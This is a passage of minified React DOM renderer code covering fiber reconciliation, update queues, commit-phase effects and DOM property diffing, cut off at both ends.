a=t.type._context,r=t.pendingProps.children,So(t),r=r(a=xo(a)),t.flags|=1,Qs(e,t,r,n),t.child;case 14:return Js(e,t,t.type,t.pendingProps,n);case 15:return qs(e,t,t.type,t.pendingProps,n);case 19:return co(e,t,n);case 22:return Ks(e,t,n);case 24:return So(t),r=xo(za),null===e?(null===(a=Wa())&&(a=tu,i=_a(),a.pooledCache=i,i.refCount++,null!==i&&(a.pooledCacheLanes|=n),a=i),t.memoizedState={parent:r,cache:a},Oo(t),bo(t,za,a)):(0!==(e.lanes&n)&&(To(e,t),Uo(t,null,null,n),Do()),a=e.memoizedState,i=t.memoizedState,a.parent!==r?(a={parent:r,cache:r},t.memoizedState=a,0===t.lanes&&(t.memoizedState=t.updateQueue.baseState=a),bo(t,za,r)):(r=i.cache,bo(t,za,r),r!==a.cache&&Ao(t,[za],n,!0))),Qs(e,t,t.pendingProps.children,n),t.child;case 29:throw t.pendingProps}throw Error(s(156,t.tag))}var go=J(null),mo=null,yo=null;function bo(e,t,n){K(go,t._currentValue),t._currentValue=n}function wo(e){e._currentValue=go.current,q(go)}function vo(e,t,n){for(;null!==e;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,null!==r&&(r.childLanes|=t)):null!==r&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Ao(e,t,n,r){var a=e.child;for(null!==a&&(a.return=e);null!==a;){var i=a.dependencies;if(null!==i){var o=a.child;i=i.firstContext;e:for(;null!==i;){var l=i;i=a;for(var u=0;u<t.length;u++)if(l.context===t[u]){i.lanes|=n,null!==(l=i.alternate)&&(l.lanes|=n),vo(i.return,n,e),r||(o=null);break e}i=l.next}}else if(18===a.tag){if(null===(o=a.return))throw Error(s(341));o.lanes|=n,null!==(i=o.alternate)&&(i.lanes|=n),vo(o,n,e),o=null}else o=a.child;if(null!==o)o.return=a;else for(o=a;null!==o;){if(o===e){o=null;break}if(null!==(a=o.sibling)){a.return=o.return,o=a;break}o=o.return}a=o}}function ko(e,t,n,r){e=null;for(var a=t,i=!1;null!==a;){if(!i)if(0!==(524288&a.flags))i=!0;else if(0!==(262144&a.flags))break;if(10===a.tag){var o=a.alternate;if(null===o)throw Error(s(387));if(null!==(o=o.memoizedProps)){var l=a.type;Kn(a.pendingProps.value,o.value)||(null!==e?e.push(l):e=[l])}}else if(a===X.current){if(null===(o=a.alternate))throw Error(s(387));o.memoizedState.memoizedState!==a.memoizedState.memoizedState&&(null!==e?e.push(Uf):e=[Uf])}a=a.return}null!==e&&Ao(t,e,n,r),t.flags|=262144}function Eo(e){for(e=e.firstContext;null!==e;){if(!Kn(e.context._currentValue,e.memoizedValue))return!0;e=e.next}return!1}function So(e){mo=e,yo=null,null!==(e=e.dependencies)&&(e.firstContext=null)}function xo(e){return Co(mo,e)}function Po(e,t){return null===mo&&So(e),Co(e,t)}function Co(e,t){var n=t._currentValue;if(t={context:t,memoizedValue:n,next:null},null===yo){if(null===e)throw Error(s(308));yo=t,e.dependencies={lanes:0,firstContext:t},e.flags|=524288}else yo=yo.next=t;return n}var No=!1;function Oo(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function To(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,callbacks:null})}function Ro(e){return{lane:e,tag:0,payload:null,callback:null,next:null}}function Io(e,t,n){var r=e.updateQueue;if(null===r)return null;if(r=r.shared,0!==(2&eu)){var a=r.pending;return null===a?t.next=t:(t.next=a.next,a.next=t),r.pending=t,t=Rr(e),Tr(e,null,n),t}return Cr(e,r,t,n),Rr(e)}function Bo(e,t,n){if(null!==(t=t.updateQueue)&&(t=t.shared,0!==(4194176&n))){var r=t.lanes;n|=r&=e.pendingLanes,t.lanes=n,Fe(e,n)}}function Fo(e,t){var n=e.updateQueue,r=e.alternate;if(null!==r&&n===(r=r.updateQueue)){var a=null,i=null;if(null!==(n=n.firstBaseUpdate)){do{var s={lane:n.lane,tag:n.tag,payload:n.payload,callback:null,next:null};null===i?a=i=s:i=i.next=s,n=n.next}while(null!==n);null===i?a=i=t:i=i.next=t}else a=i=t;return n={baseState:r.baseState,firstBaseUpdate:a,lastBaseUpdate:i,shared:r.shared,callbacks:r.callbacks},void(e.updateQueue=n)}null===(e=n.lastBaseUpdate)?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}var Lo=!1;function Do(){if(Lo){if(null!==Va)throw Va}}function Uo(e,t,n,r){Lo=!1;var a=e.updateQueue;No=!1;var i=a.firstBaseUpdate,s=a.lastBaseUpdate,o=a.shared.pending;if(null!==o){a.shared.pending=null;var l=o,u=l.next;l.next=null,null===s?i=u:s.next=u,s=l;var c=e.alternate;null!==c&&((o=(c=c.updateQueue).lastBaseUpdate)!==s&&(null===o?c.firstBaseUpdate=u:o.next=u,c.lastBaseUpdate=l))}if(null!==i){var f=a.baseState;for(s=0,c=u=l=null,o=i;;){var d=-536870913&o.lane,h=d!==o.lane;if(h?(ru&d)===d:(r&d)===d){0!==d&&d===Qa&&(Lo=!0),null!==c&&(c=c.next={lane:0,tag:o.tag,payload:o.payload,callback:null,next:null});e:{var p=e,g=o;d=t;var m=n;switch(g.tag){case 1:if("function"===typeof(p=g.payload)){f=p.call(m,f,d);break e}f=p;break e;case 3:p.flags=-65537&p.flags|128;case 0:if(null===(d="function"===typeof(p=g.payload)?p.call(m,f,d):p)||void 0===d)break e;f=R({},f,d);break e;case 2:No=!0}}null!==(d=o.callback)&&(e.flags|=64,h&&(e.flags|=8192),null===(h=a.callbacks)?a.callbacks=[d]:h.push(d))}else h={lane:d,tag:o.tag,payload:o.payload,callback:o.callback,next:null},null===c?(u=c=h,l=f):c=c.next=h,s|=d;if(null===(o=o.next)){if(null===(o=a.shared.pending))break;o=(h=o).next,h.next=null,a.lastBaseUpdate=h,a.shared.pending=null}}null===c&&(l=f),a.baseState=l,a.firstBaseUpdate=u,a.lastBaseUpdate=c,null===i&&(a.shared.lanes=0),fu|=s,e.lanes=s,e.memoizedState=f}}function Mo(e,t){if("function"!==typeof e)throw Error(s(191,e));e.call(t)}function zo(e,t){var n=e.callbacks;if(null!==n)for(e.callbacks=null,e=0;e<n.length;e++)Mo(n[e],t)}function _o(e,t){try{var n=t.updateQueue,r=null!==n?n.lastEffect:null;if(null!==r){var a=r.next;n=a;do{if((n.tag&e)===e){r=void 0;var i=n.create,s=n.inst;r=i(),s.destroy=r}n=n.next}while(n!==a)}}catch(o){rc(t,t.return,o)}}function Ho(e,t,n){try{var r=t.updateQueue,a=null!==r?r.lastEffect:null;if(null!==a){var i=a.next;r=i;do{if((r.tag&e)===e){var s=r.inst,o=s.destroy;if(void 0!==o){s.destroy=void 0,a=t;var l=n;try{o()}catch(u){rc(a,l,u)}}}r=r.next}while(r!==i)}}catch(u){rc(t,t.return,u)}}function jo(e){var t=e.updateQueue;if(null!==t){var n=e.stateNode;try{zo(t,n)}catch(r){rc(e,e.return,r)}}}function Go(e,t,n){n.props=Is(e.type,e.memoizedProps),n.state=e.memoizedState;try{n.componentWillUnmount()}catch(r){rc(e,t,r)}}function Qo(e,t){try{var n=e.ref;if(null!==n){var r=e.stateNode;switch(e.tag){case 26:case 27:case 5:var a=r;break;default:a=r}"function"===typeof n?e.refCleanup=n(a):n.current=a}}catch(i){rc(e,t,i)}}function Vo(e,t){var n=e.ref,r=e.refCleanup;if(null!==n)if("function"===typeof r)try{r()}catch(a){rc(e,t,a)}finally{e.refCleanup=null,null!=(e=e.alternate)&&(e.refCleanup=null)}else if("function"===typeof n)try{n(null)}catch(i){rc(e,t,i)}else n.current=null}function Jo(e){var t=e.type,n=e.memoizedProps,r=e.stateNode;try{e:switch(t){case"button":case"input":case"select":case"textarea":n.autoFocus&&r.focus();break e;case"img":n.src?r.src=n.src:n.srcSet&&(r.srcset=n.srcSet)}}catch(a){rc(e,e.return,a)}}function qo(e,t,n){try{var r=e.stateNode;!function(e,t,n,r){switch(t){case"div":case"span":case"svg":case"path":case"a":case"g":case"p":case"li":break;case"input":var a=null,i=null,o=null,l=null,u=null,c=null,f=null;for(p in n){var d=n[p];if(n.hasOwnProperty(p)&&null!=d)switch(p){case"checked":case"value":break;case"defaultValue":u=d;default:r.hasOwnProperty(p)||Qc(e,t,p,null,r,d)}}for(var h in r){var p=r[h];if(d=n[h],r.hasOwnProperty(h)&&(null!=p||null!=d))switch(h){case"type":i=p;break;case"name":a=p;break;case"checked":c=p;break;case"defaultChecked":f=p;break;case"value":o=p;break;case"defaultValue":l=p;break;case"children":case"dangerouslySetInnerHTML":if(null!=p)throw Error(s(137,t));break;default:p!==d&&Qc(e,t,h,p,r,d)}}return void mt(e,o,l,u,c,f,i,a);case"select":for(i in p=o=l=h=null,n)if(u=n[i],n.hasOwnProperty(i)&&null!=u)switch(i){case"value":break;case"multiple":p=u;default:r.hasOwnProperty(i)||Qc(e,t,i,null,r,u)}for(a in r)if(i=r[a],u=n[a],r.hasOwnProperty(a)&&(null!=i||null!=u))switch(a){case"value":h=i;break;case"defaultValue":l=i;break;case"multiple":o=i;default:i!==u&&Qc(e,t,a,i,r,u)}return t=l,n=o,r=p,void(null!=h?wt(e,!!n,h,!1):!!r!==!!n&&(null!=t?wt(e,!!n,t,!0):wt(e,!!n,n?[]:"",!1)));case"textarea":for(l in p=h=null,n)if(a=n[l],n.hasOwnProperty(l)&&null!=a&&!r.hasOwnProperty(l))switch(l){case"value":case"children":break;default:Qc(e,t,l,null,r,a)}for(o in r)if(a=r[o],i=n[o],r.hasOwnProperty(o)&&(null!=a||null!=i))switch(o){case"value":h=a;break;case"defaultValue":p=a;break;case"children":break;case"dangerouslySetInnerHTML":if(null!=a)throw Error(s(91));break;default:a!==i&&Qc(e,t,o,a,r,i)}return void vt(e,h,p);case"option":for(var g in n)if(h=n[g],n.hasOwnProperty(g)&&null!=h&&!r.hasOwnProperty(g))if("selected"===g)e.selected=!1;else Qc(e,t,g,null,r,h);for(u in r)if(h=r[u],p=n[u],r.hasOwnProperty(u)&&h!==p&&(null!=h||null!=p))if("selected"===u)e.selected=h&&"function"!==typeof h&&"symbol"!==typeof h;else Qc(e,t,u,h,r,p);return;case"img":case"link":case"area":case"base":case"br":case"col":case"embed":case"hr":case"keygen":case"meta":case"param":case"source":case"track":case"wbr":case"menuitem":for(var m in n)h=n[m],n.hasOwnProperty(m)&&null!=h&&!r.hasOwnProperty(m)&&Qc(e,t,m,null,r,h);for(c in r)if(h=r[c],p=n[c],r.hasOwnProperty(c)&&h!==p&&(null!=h||null!=p))switch(c){case"children":case"dangerouslySetInnerHTML":if(null!=h)throw Error(s(137,t));break;default:Qc(e,t,c,h,r,p)}return;default:if(Pt(t)){for(var y in n)h=n[y],n.hasOwnProperty(y)&&void 0!==h&&!r.hasOwnProperty(y)&&Vc(e,t,y,void 0,r,h);for(f in r)h=r[f],p=n[f],!r.hasOwnProperty(f)||h===p||void 0===h&&void 0===p||Vc(e,t,f,h,r,p);return}}for(var b in n)h=n[b],n.hasOwnProperty(b)&&null!=h&&!r.hasOwnProperty(b)&&Qc(e,t,b,null,r,h);for(d in r)h=r[d],p=n[d],!r.hasOwnProperty(d)||h===p||null==h&&null==p||Qc(e,t,d,h,r,p)}(r,e.type,n,t),r[ze]=t}catch(a){rc(e,e.return,a)}}function Ko(e){return 5===e.tag||3===e.tag||26===e.tag||27===e.tag||4===e.tag}function Wo(e){e:for(;;){for(;null===e.sibling;){if(null===e.return||Ko(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;5!==e.tag&&6!==e.tag&&27!==e.tag&&18!==e.tag;){if(2&e.flags)continue e;if(null===e.child||4===e.tag)continue e;e.child.return=e,e=e.child}if(!(2&e.flags))return e.stateNode}}function Yo(e,t,n){var r=e.tag;if(5===r||6===r)e=e.stateNode,t?8===n.nodeType?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(8===n.nodeType?(t=n.parentNode).insertBefore(e,n):(t=n).appendChild(e),null!==(n=n._reactRootContainer)&&void 0!==n||null!==t.onclick||(t.onclick=Gc));else if(4!==r&&27!==r&&null!==(e=e.child))for(Yo(e,t,n),e=e.sibling;null!==e;)Yo(e,t,n),e=e.sibling}function Zo(e,t,n){var r=e.tag;if(5===r||6===r)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(4!==r&&27!==r&&null!==(e=e.child))for(Zo(e,t,n),e=e.sibling;null!==e;)Zo(e,t,n),e=e.sibling}var Xo=!1,$o=!1,el=!1,tl="function"===typeof WeakSet?WeakSet:Set,nl=null,rl=!1;function al(e,t,n){var r=n.flags;switch(n.tag){case 0:case 11:case 15:yl(e,n),4&r&&_o(5,n);break;case 1:if(yl(e,n),4&r)if(e=n.stateNode,null===t)try{e.componentDidMount()}catch(o){rc(n,n.return,o)}else{var a=Is(n.type,t.memoizedProps);t=t.memoizedState;try{e.componentDidUpdate(a,t,e.__reactInternalSnapshotBeforeUpdate)}catch(l){rc(n,n.return,l)}}64&r&&jo(n),512&r&&Qo(n,n.return);break;case 3:if(yl(e,n),64&r&&null!==(r=n.updateQueue)){if(e=null,null!==n.child)switch(n.child.tag){case 27:case 5:case 1:e=n.child.stateNode}try{zo(r,e)}catch(o){rc(n,n.return,o)}}break;case 26:yl(e,n),512&r&&Qo(n,n.return);break;case 27:case 5:yl(e,n),null===t&&4&r&&Jo(n),512&r&&Qo(n,n.return);break;case 12:default:yl(e,n);break;case 13:yl(e,n),4&r&&cl(e,n);break;case 22:if(!(a=null!==n.memoizedState||Xo)){t=null!==t&&null!==t.memoizedState||$o;var i=Xo,s=$o;Xo=a,($o=t)&&!s?wl(e,n,0!==(8772&n.subtreeFlags)):yl(e,n),Xo=i,$o=s}512&r&&("manual"===n.memoizedProps.mode?Qo(n,n.return):Vo(n,n.return))}}function il(e){var t=e.alternate;null!==t&&(e.alternate=null,il(t)),e.child=null,e.deletions=null,e.sibling=null,5===e.tag&&(null!==(t=e.stateNode)&&Je(t)),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}var sl=null,ol=!1;function ll(e,t,n){for(n=n.child;null!==n;)ul(e,t,n),n=n.sibling}function ul(e,t,n){if(be&&"function"===typeof be.onCommitFiberUnmount)try{be.onCommitFiberUnmount(ye,n)}catch(s){}switch(n.tag){case 26:$o||Vo(n,t),ll(e,t,n),n.memoizedState?n.memoizedState.count--:n.stateNode&&(n=n.stateNode).parentNode.removeChild(n);break;case 27:$o||Vo(n,t);var r=sl,a=ol;for(sl=n.stateNode,ll(e,t,n),t=(n=n.stateNode).attributes;t.length;)n.removeAttributeNode(t[0]);Je(n),sl=r,ol=a;break;case 5:$o||Vo(n,t);case 6:a=sl;var i=ol;if(sl=null,ll(e,t,n),ol=i,null!==(sl=a))if(ol)try{e=sl,r=n.stateNode,8===e.nodeType?e.parentNode.removeChild(r):e.removeChild(r)}catch(o){rc(n,t,o)}else try{sl.removeChild(n.stateNode)}catch(o){rc(n,t,o)}break;case 18:null!==sl&&(ol?(t=sl,n=n.stateNode,8===t.nodeType?sf(t.parentNode,n):1===t.nodeType&&sf(t,n),md(t)):sf(sl,n.stateNode));break;case 4:r=sl,a=ol,sl=n.stateNode.containerInfo,ol=!0,ll(e,t,n),sl=r,ol=a;break;case 0:case 11:case 14:case 15:$o||Ho(2,n,t),$o||Ho(4,n,t),ll(e,t,n);break;case 1:$o||(Vo(n,t),"function"===typeof(r=n.stateNode).componentWillUnmount&&Go(n,t,r)),ll(e,t,n);break;case 21:ll(e,t,n);break;case 22:$o||Vo(n,t),$o=(r=$o)||null!==n.memoizedState,ll(e,t,n),$o=r;break;default:ll(e,t,n)}}function cl(e,t){if(null===t.memoizedState&&(null!==(e=t.alternate)&&(null!==(e=e.memoizedState)&&null!==(e=e.dehydrated))))try{md(e)}catch(n){rc(t,t.return,n)}}function fl(e,t){var n=function(e){switch(e.tag){case 13:case 19:var t=e.stateNode;return null===t&&(t=e.stateNode=new tl),t;case 22:return null===(t=(e=e.stateNode)._retryCache)&&(t=e._retryCache=new tl),t;default:throw Error(s(435,e.tag))}}(e);t.forEach((function(t){var r=lc.bind(null,e,t);n.has(t)||(n.add(t),t.then(r,r))}))}function dl(e,t){var n=t.deletions;if(null!==n)for(var r=0;r<n.length;r++){var a=n[r],i=e,o=t,l=o;e:for(;null!==l;){switch(l.tag){case 27:case 5:sl=l.stateNode,ol=!1;break e;case 3:case 4:sl=l.stateNode.containerInfo,ol=!0;break e}l=l.return}if(null===sl)throw Error(s(160));ul(i,o,a),sl=null,ol=!1,null!==(i=a.alternate)&&(i.return=null),a.return=null}if(13878&t.subtreeFlags)for(t=t.child;null!==t;)pl(t,e),t=t.sibling}var hl=null;function pl(e,t){var n=e.alternate,r=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:dl(t,e),gl(e),4&r&&(Ho(3,e,e.return),_o(3,e),Ho(5,e,e.return));break;case 1:dl(t,e),gl(e),512&r&&($o||null===n||Vo(n,n.return)),64&r&&Xo&&(null!==(e=e.updateQueue)&&(null!==(r=e.callbacks)&&(n=e.shared.hiddenCallbacks,e.shared.hiddenCallbacks=null===n?r:n.concat(r))));break;case 26:var a=hl;if(dl(t,e),gl(e),512&r&&($o||null===n||Vo(n,n.return)),4&r){var i=null!==n?n.memoizedState:null;if(r=e.memoizedState,null===n)if(null===r)if(null===e.stateNode){e:{r=e.type,n=e.memoizedProps,a=a.ownerDocument||a;t:switch(r){case"title":(!(i=a.getElementsByTagName("title")[0])||i[Ve]||i[Me]||"http://www.w3.org/2000/svg"===i.namespaceURI||i.hasAttribute("itemprop"))&&(i=a.createElement(r),a.head.insertBefore(i,a.querySelector("head > title"))),Jc(i,r,n),i[Me]=e,Ze(i),r=i;break e;case"link":var o=Nf("link","href",a).get(r+(n.href||""));if(o)for(var l=0;l<o.length;l++)if((i=o[l]).getAttribute("href")===(null==n.href?null:n.href)&&i.getAttribute("rel")===(null==n.rel?null:n.rel)&&i.getAttribute("title")===(null==n.title?null:n.title)&&i.getAttribute("crossorigin")===(null==n.crossOrigin?null:n.crossOrigin)){o.splice(l,1);break t}Jc(i=a.createElement(r),r,n),a.head.appendChild(i);break;case"meta":if(o=Nf("meta","content",a).get(r+(n.content||"")))for(l=0;l<o.length;l++)if((i=o[l]).getAttribute("content")===(null==n.content?null:""+n.content)&&i.getAttribute("name")===(null==n.name?null:n.name)&&i.getAttribute("property")===(null==n.property?null:n.property)&&i.getAttribute("http-equiv")===(null==n.httpEquiv?null:n.httpEquiv)&&i.getAttribute("charset")===(null==n.charSet?null:n.charSet)){o.splice(l,1);break t}Jc(i=a.createElement(r),r,n),a.head.appendChild(i);break;default:throw Error(s(468,r))}i[Me]=e,Ze(i),r=i}e.stateNode=r}else Of(a,e.type,e.stateNode);else e.stateNode=Ef(a,r,e.memoizedProps);else i!==r?(null===i?null!==n.stateNode&&(n=n.stateNode).parentNode.removeChild(n):i.count--,null===r?Of(a,e.type,e.stateNode):Ef(a,r,e.memoizedProps)):null===r&&null!==e.stateNode&&qo(e,e.memoizedProps,n.memoizedProps)}break;case 27:if(4&r&&null===e.alternate){a=e.stateNode,i=e.memoizedProps;try{for(var u=a.firstChild;u;){var c=u.nextSibling,f=u.nodeName;u[Ve]||"HEAD"===f||"BODY"===f||"SCRIPT"===f||"STYLE"===f||"LINK"===f&&"stylesheet"===u.rel.toLowerCase()||a.removeChild(u),u=c}for(var d=e.type,h=a.attributes;h.length;)a.removeAttributeNode(h[0]);Jc(a,d,i),a[Me]=e,a[ze]=i}catch(g){rc(e,e.return,g)}}case 5:if(dl(t,e),gl(e),512&r&&($o||null===n||Vo(n,n.return)),32&e.flags){a=e.stateNode;try{kt(a,"")}catch(g){rc(e,e.return,g)}}4&r&&null!=e.stateNode&&qo(e,a=e.memoizedProps,null!==n?n.memoizedProps:a),1024&r&&(el=!0);break;case 6:if(dl(t,e),gl(e),4&r){if(null===e.stateNode)throw Error(s(162));r=e.memoizedProps,n=e.stateNode;try{n.nodeValue=r}catch(g){rc(e,e.return,g)}}break;case 3:if(Cf=null,a=hl,hl=hf(t.containerInfo),dl(t,e),hl=a,gl(e),4&r&&null!==n&&n.memoizedState.isDehydrated)try{md(t.containerInfo)}catch(g){rc(e,e.return,g)}el&&(el=!1,ml(e));break;case 4:r=hl,hl=hf(e.stateNode.containerInfo),dl(t,e),gl(e),hl=r;break;case 12:dl(t,e),gl(e);break;case 13:dl(t,e),gl(e),8192&e.child.flags&&null!==e.memoizedState!==(null!==n&&null!==n.memoizedState)&&(wu=le()),4&r&&(null!==(r=e.updateQueue)&&(e.updateQueue=null,fl(e,r)));break;case 22:if(512&r&&($o||null===n||Vo(n,n.return)),u=null!==e.memoizedState,c=null!==n&&null!==n.memoizedState,Xo=(f=Xo)||u,$o=(d=$o)||c,dl(t,e),$o=d,Xo=f,gl(e),(t=e.stateNode)._current=e,t._visibility&=-3,t._visibility|=2&t._pendingVisibility,8192&r&&(t._visibility=u?-2&t._visibility:1|t._visibility,u&&(t=Xo||$o,null===n||c||t||bl(e)),null===e.memoizedProps||"manual"!==e.memoizedProps.mode))e:for(n=null,t=e;;){if(5===t.tag||26===t.tag||27===t.tag){if(null===n){c=n=t;try{if(a=c.stateNode,u)"function"===typeof(i=a.style).setProperty?i.setProperty("display","none","important"):i.display="none";else{o=c.stateNode;var p=void 0!==(l=c.memoizedProps.style)&&null!==l&&l.hasOwnProperty("display")?l.display:null;o.style.display=null==p||"boolean"===typeof p?"":(""+p).trim()}}catch(g){rc(c,c.return,g)}}}else if(6===t.tag){if(null===n){c=t;try{c.stateNode.nodeValue=u?"":c.memoizedProps}catch(g){rc(c,c.return,g)}}}else if((22!==t.tag&&23!==t.tag||null===t.memoizedState||t===e)&&null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break e;for(;null===t.sibling;){if(null===t.return||t.return===e)break e;n===t&&(n=null),t=t.return}n===t&&(n=null),t.sibling.return=t.return,t=t.sibling}4&r&&(null!==(r=e.updateQueue)&&(null!==(n=r.retryQueue)&&(r.retryQueue=null,fl(e,n))));break;case 19:dl(t,e),gl(e),4&r&&(null!==(r=e.updateQueue)&&(e.updateQueue=null,fl(e,r)));break;case 21:break;default:dl(t,e),gl(e)}}function gl(e){var t=e.flags;if(2&t){try{if(27!==e.tag){e:{for(var n=e.return;null!==n;){if(Ko(n)){var r=n;break e}n=n.return}throw Error(s(160))}switch(r.tag){case 27:var a=r.stateNode;Zo(e,Wo(e),a);break;case 5:var i=r.stateNode;32&r.flags&&(kt(i,""),r.flags&=-33),Zo(e,Wo(e),i);break;case 3:case 4:var o=r.stateNode.containerInfo;Yo(e,Wo(e),o);break;default:throw Error(s(161))}}}catch(l){rc(e,e.return,l)}e.flags&=-3}4096&t&&(e.flags&=-4097)}function ml(e){if(1024&e.subtreeFlags)for(e=e.child;null!==e;){var t=e;ml(t),5===t.tag&&1024&t.flags&&t.stateNode.reset(),e=e.sibling}}function yl(e,t){if(8772&t.subtreeFlags)for(t=t.child;null!==t;)al(e,t.alternate,t),t=t.sibling}function bl(e){for(e=e.child;null!==e;){var t=e;switch(t.tag){case 0:case 11:case 14:case 15:Ho(4,t,t.return),bl(t);break;case 1:Vo(t,t.return);var n=t.stateNode;"function"===typeof n.componentWillUnmount&&Go(t,t.return,n),bl(t);break;case 26:case 27:case 5:Vo(t,t.return),bl(t);break;case 22:Vo(t,t.return),null===t.memoizedState&&bl(t);break;default:bl(t)}e=e.sibling}}function wl(e,t,n){for(n=n&&0!==(8772&t.subtreeFlags),t=t.child;null!==t;){var r=t.alternate,a=e,i=t,s=i.flags;switch(i.tag){case 0:case 11:case 15:wl(a,i,n),_o(4,i);break;case 1:if(wl(a,i,n),"function"===typeof(a=(r=i).stateNode).componentDidMount)try{a.componentDidMount()}catch(u){rc(r,r.return,u)}if(null!==(a=(r=i).updateQueue)){var o=r.stateNode;try{var l=a.shared.hiddenCallbacks;if(null!==l)for(a.shared.hiddenCallbacks=null,a=0;a<l.length;a++)Mo(l[a],o)}catch(u){rc(r,r.return,u)}}n&&64&s&&jo(i),Qo(i,i.return);break;case 26:case 27:case 5:wl(a,i,n),n&&null===r&&4&s&&Jo(i),Qo(i,i.return);break;case 12:default:wl(a,i,n);break;case 13:wl(a,i,n),n&&4&s&&cl(a,i);break;case 22:null===i.memoizedState&&wl(a,i,n),Qo(i,i.return)}t=t.sibling}}function vl(e,t){var n=null;null!==e&&null!==e.memoizedState&&null!==e.memoizedState.cachePool&&(n=e.memoizedState.cachePool.pool),e=null,null!==t.memoizedState&&null!==t.memoizedState.cachePool&&(e=t.memoizedState.cachePool.pool),e!==n&&(null!=e&&e.refCount++,null!=n&&Ha(n))}function Al(e,t){e=null,null!==t.alternate&&(e=t.alternate.memoizedState.cache),(t=t.memoizedState.cache)!==e&&(t.refCount++,null!=e&&Ha(e))}function kl(e,t,n,r){if(10256&t.subtreeFlags)for(t=t.child;null!==t;)El(e,t,n,r),t=t.sibling}function El(e,t,n,r){var a=t.flags;switch(t.tag){case 0:case 11:case 15:kl(e,t,n,r),2048&a&&_o(9,t);break;case 3:kl(e,t,n,r),2048&a&&(e=null,null!==t.alternate&&(e=t.alternate.memoizedState.cache),(t=t.memoizedState.cache)!==e&&(t.refCount++,null!=e&&Ha(e)));break;case 12:if(2048&a){kl(e,t,n,r),e=t.stateNode;try{var i=t.memoizedProps,s=i.id,o=i.onPostCommit;"function"===typeof o&&o(s,null===t.alternate?"mount":"update",e.passiveEffectDuration,-0)}catch(l){rc(t,t.return,l)}}else kl(e,t,n,r);break;case 23:break;case 22:i=t.stateNode,null!==t.memoizedState?4&i._visibility?kl(e,t,n,r):xl(e,t):4&i._visibility?kl(e,t,n,r):(i._visibility|=4,Sl(e,t,n,r,0!==(10256&t.subtreeFlags))),2048&a&&vl(t.alternate,t);break;case 24:kl(e,t,n,r),2048&a&&Al(t.alternate,t);break;default:kl(e,t,n,r)}}function Sl(e,t,n,r,a){for(a=a&&0!==(10256&t.subtreeFlags),t=t.child;null!==t;){var i=e,s=t,o=n,l=r,u=s.flags;switch(s.tag){case 0:case 11:case 15:Sl(i,s,o,l,a),_o(8,s);break;case 23:break;case 22:var c=s.stateNode;null!==s.memoizedState?4&c._visibility?Sl(i,s,o,l,a):xl(i,s):(c._visibility|=4,Sl(i,s,o,l,a)),a&&2048&u&&vl(s.alternate,s);break;case 24:Sl(i,s,o,l,a),a&&2048&u&&Al(s.alternate,s);break;default:Sl(i,s,o,l,a)}t=t.sibling}}function xl(e,t){if(10256&t.subtreeFlags)for(t=t.child;null!==t;){var n=e,r=t,a=r.flags;switch(r.tag){case 22:xl(n,r),2048&a&&vl(r.alternate,r);break;case 24:xl(n,r),2048&a&&Al(r.alternate,r);break;default:xl(n,r)}t=t.sibling}}var Pl=8192;function Cl(e){if(e.subtreeFlags&Pl)for(e=e.child;null!==e;)Nl(e),e=e.sibling}function Nl(e){switch(e.tag){case 26:Cl(e),e.flags&Pl&&null!==e.memoizedState&&function(e,t,n){if(null===Rf)throw Error(s(475));var r=Rf;if("stylesheet"===t.type&&("string"!==typeof n.media||!1!==matchMedia(n.media).matches)&&0===(4&t.state.loading)){if(null===t.instance){var a=bf(n.href),i=e.querySelector(wf(a));if(i)return null!==(e=i._p)&&"object"===typeof e&&"function"===typeof e.then&&(r.count++,r=Bf.bind(r),e.then(r,r)),t.state.loading|=4,t.instance=i,void Ze(i);i=e.ownerDocument||e,n=vf(n),(a=ff.get(a))&&xf(n,a),Ze(i=i.createElement("link"));var o=i;o._p=new Promise((function(e,t){o.onload=e,o.onerror=t})),Jc(i,"link",n),t.instance=i}null===r.stylesheets&&(r.stylesheets=new Map),r.stylesheets.set(t,e),(e=t.state.preload)&&0===(3&t.state.loading)&&(r.count++,t=Bf.bind(r),e.addEventListener("load",t),e.addEventListener("error",t))}}(hl,e.memoizedState,e.memoizedProps);break;case 5:default:Cl(e);break;case 3:case 4:var t=hl;hl=hf(e.stateNode.containerInfo),Cl(e),hl=t;break;case 22:null===e.memoizedState&&(null!==(t=e.alternate)&&null!==t.memoizedState?(t=Pl,Pl=16777216,Cl(e),Pl=t):Cl(e))}}function Ol(e){var t=e.alternate;if(null!==t&&null!==(e=t.child)){t.child=null;do{t=e.sibling,e.sibling=null,e=t}while(null!==e)}}function Tl(e){var t=e.deletions;if(0!==(16&e.flags)){if(null!==t)for(var n=0;n<t.length;n++){var r=t[n];nl=r,Bl(r,e)}Ol(e)}if(10256&e.subtreeFlags)for(e=e.child;null!==e;)Rl(e),e=e.sibling}function Rl(e){switch(e.tag){case 0:case 11:case 15:Tl(e),2048&e.flags&&Ho(9,e,e.return);break;case 3:case 12:default:Tl(e);break;case 22:var t=e.stateNode;null!==e.memoizedState&&4&t._visibility&&(null===e.return||13!==e.return.tag)?(t._visibility&=-5,Il(e)):Tl(e)}}function Il(e){var t=e.deletions;if(0!==(16&e.flags)){if(null!==t)for(var n=0;n<t.length;n++){var r=t[n];nl=r,Bl(r,e)}Ol(e)}for(e=e.child;null!==e;){switch((t=e).tag){case 0:case 11:case 15:Ho(8,t,t.return),Il(t);break;case 22:4&(n=t.stateNode)._visibility&&(n._visibility&=-5,Il(t));break;default:Il(t)}e=e.sibling}}function Bl(e,t){for(;null!==nl;){var n=nl;switch(n.tag){case 0:case 11:case 15:Ho(8,n,t);break;case 23:case 22:if(null!==n.memoizedState&&null!==n.memoizedState.cachePool){var r=n.memoizedState.cachePool.pool;null!=r&&r.refCount++}break;case 